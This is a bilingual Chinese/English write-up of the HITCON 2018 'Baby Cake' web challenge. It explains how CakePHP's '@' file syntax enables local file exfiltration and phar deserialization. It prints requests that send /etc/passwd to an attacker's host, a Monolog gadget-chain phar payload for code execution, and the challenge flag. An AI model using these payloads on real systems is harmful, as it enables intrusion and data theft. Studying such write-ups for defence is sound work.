Baby Cake


Points: 400 | Solves: 4/1789 | Category: Web

Get the shell plz!!!!! 13.230.134.135

Author: orange

Hint: This is not related to SSRF


English

(原文作者还有一个印尼语版本,这里就没翻译)

TL;DR要点

  • 我们可以在给定的Cake PHP Web的HTTP客户端访问任意URL。如果使用的方法是GET,高速缓存将被存储在body.cacheheaders.cache文件,
  • 除了GET之外,我们可以使用其他方法,例如POST和getQuery('data')的数据。
  • 在内部实现中\Cake\Http\Client\Request,如果请求数据是一个数组,它将被Cake\Http\FormData处理。
  • Cake\Http\FormData里有类似CURLOPT_SAFE_UPLOAD的实现处理方式,其中如果value@开头,就会从本地系统(Local File Disclosure)上传。
  • 我们可以控制Cake\Http\FormData里的file_get_contentsin的参数,这样我们可以使用phar://协议加上通过body.cache进行隐式反序列化后得到的payload。
  • 我们可以使用好用的小工具进行PHP对象注入来RCE; 例如,使用Monolog工具。

Detailed Steps详细步骤

只有4支队队伍解决困难的“baby”赛题。Web站点是用Cake PHP制作的,源代码在这。而我们的目标则是getshell。
Web应用程序的主要代码逻辑是src/Controller/PagesController.php

<?php

namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;

class DymmyResponse {
    function __construct($headers, $body) {
        $this->headers = $headers;
        $this->body = $body;
    }
}

class PagesController extends AppController {

    private function httpclient($method, $url, $headers, $data) {
        $options = [
            'headers' => $headers, 
            'timeout' => 10
        ];

        $http = new Client();
        return $http->$method($url, $data, $options);
    }

    private function back() {
        return $this->render('pages');
    }

    private function _cache_dir($key){
        $ip = $this->request->getEnv('REMOTE_ADDR');
        $index = sprintf('mycache/%s/%s/', $ip, $key);
        return CACHE . $index;
    }

    private function cache_set($key, $response) {
        $cache_dir = $this->_cache_dir($key);
        if ( !file_exists($cache_dir) ) {
            mkdir($cache_dir, 0700, true);
            file_put_contents($cache_dir . "body.cache", $response->body);
            file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
        }
    }

    private function cache_get($key) {
        $cache_dir = $this->_cache_dir($key);
        if (file_exists($cache_dir)) {
            $body   = file_get_contents($cache_dir . "/body.cache");
            $headers = file_get_contents($cache_dir . "/headers.cache");

            $body = "<!-- from cache -->\n" . $body;
            $headers = unserialize($headers);
            return new DymmyResponse($headers, $body);
        } else {
            return null;
        }
    }

    public function display(...$path) {    
        $request  = $this->request;
        $data = $request->getQuery('data');
        $url  = $request->getQuery('url');
        if (strlen($url) == 0) 
            return $this->back();

        $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
        if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
            return $this->back();

        $method = strtolower( $request->getMethod() );
        if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
            return $this->back();


        $headers = [];
        foreach ($request->getHeaders() as $key => $value) {
            if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
                continue;
            if (count($value) == 0)
                continue;

            $headers[$key] = $value[0];
        }

        $key = md5($url);
        if ($method == 'get') {
            $response = $this->cache_get($key);
            if (!$response) {
                $response = $this->httpclient($method, $url, $headers, null);
                $this->cache_set($key, $response);                
            }
        } else {
            $response = $this->httpclient($method, $url, $headers, $data);
        }

        foreach ($response->headers as $key => $value) {
            if (strtolower($key) == 'content-type') {
                $this->response->type(array('type' => $value));
                $this->response->type('type');
                continue;
            }
            $this->response->withHeader($key, $value);
        }

        $this->response->body($response->body);
        return $this->response;
    }
}

当使用GET方法在Web上发出请求时带上?url=,Web会检查是否已为给定URL存储了缓存。如果没有,将使用内部HTTP客户端请求URL,然后将写入响应正文body.cache的内容,并写入序列化头文件(数组)的headers.cache。如果存在缓存,则应用程序将直接检索缓存内容。如果使用的方法不是GET,则不使用缓存。

请注意,函数中有一个unserializecache_get($key)里被调用,但该参数来自header.cache,并且之前使用serialize数组作为输入写入的内容,因此不能从此处进行PHP对象注入(除非PHP内部存在错误)。

The idea is, since we can write arbitrary data to body.cache, if a file operation function with our controlled parameter is executed then we can use phar:// wrapper to do PHP Object Injection with body.cache as the payload. It turns out that we can direct the application flow to file_get_contents with our own parameter in the Cake PHP internal!
我们的方案是这样。因为我们可以写任意数据到body.cache,如果执行带有受控参数的文件操作函数,那么我们可以使用phar:// 来把body.cache的内容作为payload进行PHP对象注入。事实证明,我们可以file_get_contents在Cake PHP内部使用我们的参数来引导应用程序运行!
为了更好地理解漏洞,我们将把这些步骤分解为从请求到远程执行代码的流程。

Passing Request Data传递请求数据

$request  = $this->request;
        $data = $request->getQuery('data');
        $url  = $request->getQuery('url');

        ...

        $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
        if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
            return $this->back();

        ..

        $method = strtolower( $request->getMethod() );
        if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
            return $this->back();

        ...

        if ($method == 'get') {
            $response = $this->cache_get($key);
            if (!$response) {
                $response = $this->httpclient($method, $url, $headers, null);
                $this->cache_set($key, $response);                
            }
        } else {
            $response = $this->httpclient($method, $url, $headers, $data);
        }

我们的请求被Web应用程序过滤,因此除了GET / POST / PUT / DELETE / PATCh 以外的方法,和http://https:// 以外的协议,我们都不能使用。
We can use POST/PUT/DELETE/PATCH so that $response = $this->httpclient($method, $url, $headers, $data); is called. We can set the $data variable using GET ?data=.

我们的POST / PUT / DELETE / PATCH,注意 $response = $this->httpclient($method, $url, $headers, $data);会被调用。我们可以$data写入GET请求里like this?data=

private function httpclient($method, $url, $headers, $data) {
        $options = [
            'headers' => $headers, 
            'timeout' => 10
        ];

        $http = new Client();
        return $http->$method($url, $data, $options);
    }

The web uses Cake\Http\Client and call the method based on $method from us with $url and $data from us.

In this example, we will try to use POST method.
网站使用了Cake\Http\Client并且它调用的方法基于我们的请求里的$method$url$data

在这个例子中,我们将尝试使用POST方法。

Processing POST Request处理POST请求

看看 vendor/cakephp/cakephp/src/Http/Client.php.

/**
     * Default configuration for the client.
     *
     * @var array
     */
    protected $_defaultConfig = [
        'adapter' => 'Cake\Http\Client\Adapter\Stream',

    ...

    public function __construct($config = [])
    {
        $this->setConfig($config);

        $adapter = $this->_config['adapter'];
        $this->setConfig('adapter', null);
        if (is_string($adapter)) {
            $adapter = new $adapter();
        }
        $this->_adapter = $adapter;


    ...

    /**
     * Do a POST request.
     *
     * @param string $url The url or path you want to request.
     * @param mixed $data The post data you want to send.
     * @param array $options Additional options for the request.
     * @return \Cake\Http\Client\Response
     */
    public function post($url, $data = [], array $options = [])
    {
        $options = $this->_mergeOptions($options);
        $url = $this->buildUrl($url, [], $options);

        return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
    }

    ...

    /**
     * Helper method for doing non-GET requests.
     *
     * @param string $method HTTP method.
     * @param string $url URL to request.
     * @param mixed $data The request body.
     * @param array $options The options to use. Contains auth, proxy, etc.
     * @return \Cake\Http\Client\Response
     */
    protected function _doRequest($method, $url, $data, $options)
    {
        $request = $this->_createRequest(
            $method,
            $url,
            $data,
            $options
        );

        return $this->send($request, $options);
    }

    ...

    /**
     * Creates a new request object based on the parameters.
     *
     * @param string $method HTTP method name.
     * @param string $url The url including query string.
     * @param mixed $data The request body.
     * @param array $options The options to use. Contains auth, proxy, etc.
     * @return \Cake\Http\Client\Request
     */
    protected function _createRequest($method, $url, $data, $options)
    {
        $headers = isset($options['headers']) ? (array)$options['headers'] : [];
        if (isset($options['type'])) {
            $headers = array_merge($headers, $this->_typeHeaders($options['type']));
        }
        if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
            $headers['Content-Type'] = 'application/x-www-form-urlencoded';
        }

        $request = new Request($url, $method, $headers, $data);

    ...

    }

我们的数据将被post($url, $data = [], array $options = [])处理,然后传递给_doRequest($method, $url, $data, $options)然后会调用_createRequest($method, $ url, $data, $options)创建一个$request对象。在此函数中,对象创建为Cake\Http\Client\Requestnew Request($url, $method, $headers, $data);)。

接下来我们来看看vendor/cakephp/cakephp/src/Http/Client/Request.php代码。

/**
     * Constructor
     *
     * Provides backwards compatible defaults for some properties.
     *
     * @param string $url The request URL
     * @param string $method The HTTP method to use.
     * @param array $headers The HTTP headers to set.
     * @param array|string|null $data The request body to use.
     */
    public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
    {
        $this->validateMethod($method);
        $this->method = $method;
        $this->uri = $this->createUri($url);
        $headers += [
            'Connection' => 'close',
            'User-Agent' => 'CakePHP'
        ];
        $this->addHeaders($headers);
        $this->body($data);
    }

    ...

    /**
     * Get/set the body/payload for the message.
     *
     * Array data will be serialized with Cake\Http\FormData,
     * and the content-type will be set.
     *
     * @param string|array|null $body The body for the request. Leave null for get
     * @return mixed Either $this or the body value.
     */
    public function body($body = null)
    {
        if ($body === null) {
            $body = $this->getBody();

            return $body ? $body->__toString() : '';
        }
        if (is_array($body)) {
            $formData = new FormData();
            $formData->addMany($body);
            $this->header('Content-Type', $formData->contentType());
            $body = (string)$formData;
        }
        $stream = new Stream('php://memory', 'rw');
        $stream->write($body);
        $this->stream = $stream;

        return $this;
    }

body($body)函数中,如果$body是数组,则使用函数Cake\Http\FormData处理,并调用addMany(array $array)。让我们看看vendor/cakephp/cakephp/src/Http/Client/FormData.php这个函数中发生了什么。

/**
     * Add a new part to the data.
     *
     * The value for a part can be a string, array, int,
     * float, filehandle, or object implementing __toString()
     *
     * If the $value is an array, multiple parts will be added.
     * Files will be read from their current position and saved in memory.
     *
     * @param string|\Cake\Http\Client\FormData $name The name of the part to add,
     *   or the part data object.
     * @param mixed $value The value for the part.
     * @return $this
     */
    public function add($name, $value = null)
    {
        if (is_array($value)) {
            $this->addRecursive($name, $value);
        } elseif (is_resource($value)) {
            $this->addFile($name, $value);
        } elseif (is_string($value) && strlen($value) && $value[0] === '@') {
            trigger_error(
                'Using the @ syntax for file uploads is not safe and is deprecated. ' .
                'Instead you should use file handles.',
                E_USER_DEPRECATED
            );
            $this->addFile($name, $value);
        } elseif ($name instanceof FormDataPart && $value === null) {
            $this->_hasComplexPart = true;
            $this->_parts[] = $name;
        } else {
            $this->_parts[] = $this->newPart($name, $value);
        }

        return $this;
    }

    /**
     * Add multiple parts at once.
     *
     * Iterates the parameter and adds all the key/values.
     *
     * @param array $data Array of data to add.
     * @return $this
     */
    public function addMany(array $data)
    {
        foreach ($data as $name => $value) {
            $this->add($name, $value);
        }

        return $this;
    }

    /**
     * Add either a file reference (string starting with @)
     * or a file handle.
     *
     * @param string $name The name to use.
     * @param mixed $value Either a string filename, or a filehandle.
     * @return \Cake\Http\Client\FormDataPart
     */
    public function addFile($name, $value)
    {
        $this->_hasFile = true;

        $filename = false;
        $contentType = 'application/octet-stream';
        if (is_resource($value)) {
            $content = stream_get_contents($value);
            if (stream_is_local($value)) {
                $finfo = new finfo(FILEINFO_MIME);
                $metadata = stream_get_meta_data($value);
                $contentType = $finfo->file($metadata['uri']);
                $filename = basename($metadata['uri']);
            }
        } else {
            $finfo = new finfo(FILEINFO_MIME);
            $value = substr($value, 1);
            $filename = basename($value);
            $content = file_get_contents($value);
            $contentType = $finfo->file($value);
        }
        $part = $this->newPart($name, $content);
        $part->type($contentType);
        if ($filename) {
            $part->filename($filename);
        }
        $this->add($part);

        return $part;
    }

addMany(array $data)函数的运行将迭代数组,然后遍历调用 add($name, $value)每个项目。在add($name, $value)函数中,如果$value@的字符串·,那么addFile($name, $value)将被调用。

addFile($name, $value)函数里,因为$value是一个字符串,运行$value = substr($value, 1);并且$content = file_get_contents($value);将被执行。有了这个,那么$valuegetQuery('data')操作给污染了,我们就可以控制file_get_contents的参数了!

Local File Disclosure本地文件泄露

为了测试这个点,我们可以尝试进行本地文件泄露(Local File Disclosure)。创建的“Request”数据将Cake\Http\Client\Adapter\Stream里的fopen直接发送到目标URL ,因此我们可以尝试将一个文件发送到我们的IP。

以下是一个将/etc/passwd内容发送到我们的IP的请求。

POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd

在我们的IP,我们将从目标服务器获得/etc/passwd内容!

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash

我们还可以看到Apache配置使用000-default.conf和web目录/var/www/html

POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
    ...

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    ...
</VirtualHost>

尝试从本地文件泄露中获取flag是不对的。因此,我们必须RCE

Remote Code Execution RCE

The strategies that can be done are:

  1. Create a payload to do PHP Object Injection from the available Classes.
  2. Place the PHP Object Injection payload in a phar file, for example exploit.phar in our IP.
  3. Download http://IP/exploit.phar from the web application so the cache will be stored in /var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
  4. Do POST request with data query to open phar:// stream wrapper so unserialization will occurs.

For gadgets, here we will try to use Monolog with references from https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.

The following is the code to make the payload exploit.phar which will execute system ('ls -alt').
通过使用Web应用程序中的功能特定,我们可以保存URL请求响应的正文内容到/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache

可以做的策略是:

  • 创建payload来从可用的类中执行PHP对象注入。
  • 将PHP Object Injection的payload放在phar文件中,例如exploit.phar在我们的IP中。
  • 从Web应用程序http://IP/exploit.phar来下载,以便缓存在/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
  • 使用数据查询执行POST请求以打开phar://流包装器,以便进行反序列化。

对于小工具,我们将尝试使用https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1中的Monolog。

以下是生成exploit.phar将执行的有效负载的代码system ('ls -alt')。

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;
        function __construct($x)
        {
            $this->socket = $x;
        }
    }
    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;
        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }
}

namespace{
    $cmd = "ls -alt";

    $obj = new \Monolog\Handler\SyslogUdpHandler(
        new \Monolog\Handler\BufferHandler(
            ['current', 'system'],
            [$cmd, 'level' => null]
        )
    );

    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($obj);
    $phar->stopBuffering();

}

首先,尝试从Web应用程序访问exploit.phar

GET http://13.230.134.135/?url=http://IP/exploit.phar

然后,执行POST请求来打开phar://具有exploit.phar缓存位置的流作为路径。

POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache

然后RCE成功完成!

total 104
drwxr-xr-x  26 root root  1000 Oct 21 11:08 run
drwxrwxrwt   2 root root  4096 Oct 21 06:25 tmp
-rwsr-sr-x   1 root root  8568 Oct 18 19:53 read_flag
drwxr-xr-x  23 root root  4096 Oct 18 19:53 .
drwxr-xr-x  23 root root  4096 Oct 18 19:53 ..
drwx------   5 root root  4096 Oct 18 17:12 root
drwxr-xr-x  90 root root  4096 Oct 18 11:23 etc
dr-xr-xr-x  13 root root     0 Oct 16 07:57 sys
-r--------   1 root root    54 Oct 15 19:49 flag
drwxr-xr-x   4 root root  4096 Oct 15 19:41 home
drwxr-xr-x   3 root root  4096 Oct  9 06:07 boot
lrwxrwxrwx   1 root root    31 Oct  9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx   1 root root    28 Oct  9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
drwxr-xr-x   2 root root  4096 Oct  9 06:07 sbin
lrwxrwxrwx   1 root root    14 Oct  8 17:14 www -> /var/www/html/
drwxr-xr-x  14 root root  4096 Oct  8 17:13 var
drwxr-xr-x   5 root root  4096 Oct  8 17:06 snap
drwxr-xr-x  15 root root  2980 Oct  8 17:06 dev
dr-xr-xr-x 136 root root     0 Oct  8 17:06 proc
lrwxrwxrwx   1 root root    31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
lrwxrwxrwx   1 root root    28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
drwxr-xr-x  20 root root  4096 Sep 12 16:16 lib
drwx------   2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x   2 root root  4096 Sep 12 15:59 bin
drwxr-xr-x   2 root root  4096 Sep 12 15:56 lib64
drwxr-xr-x  10 root root  4096 Sep 12 15:55 usr
drwxr-xr-x   2 root root  4096 Sep 12 15:55 media
drwxr-xr-x   2 root root  4096 Sep 12 15:55 opt
drwxr-xr-x   2 root root  4096 Sep 12 15:55 mnt
drwxr-xr-x   2 root root  4096 Sep 12 15:55 srv

我们无法读取/flag文件,因为它只能被root读取。看来我们需要通过执行/read_flagsetuid以二进制来读取它。由于tty设定,我们可以执行反向shell并生成它。这样,tty不需要执行system('/ get_flag'),只通过修改先前的payload执行将给我们flag。

Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**

仅供参考,由 Orange (作者)在去年有人在2018年美国黑帽大会上展示它之前,发现phar://会有unserialize对象的行为。

References:

HITCON CTF 2018 Web 另一个题的wirteup的翻译:One Line PHP在先知。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖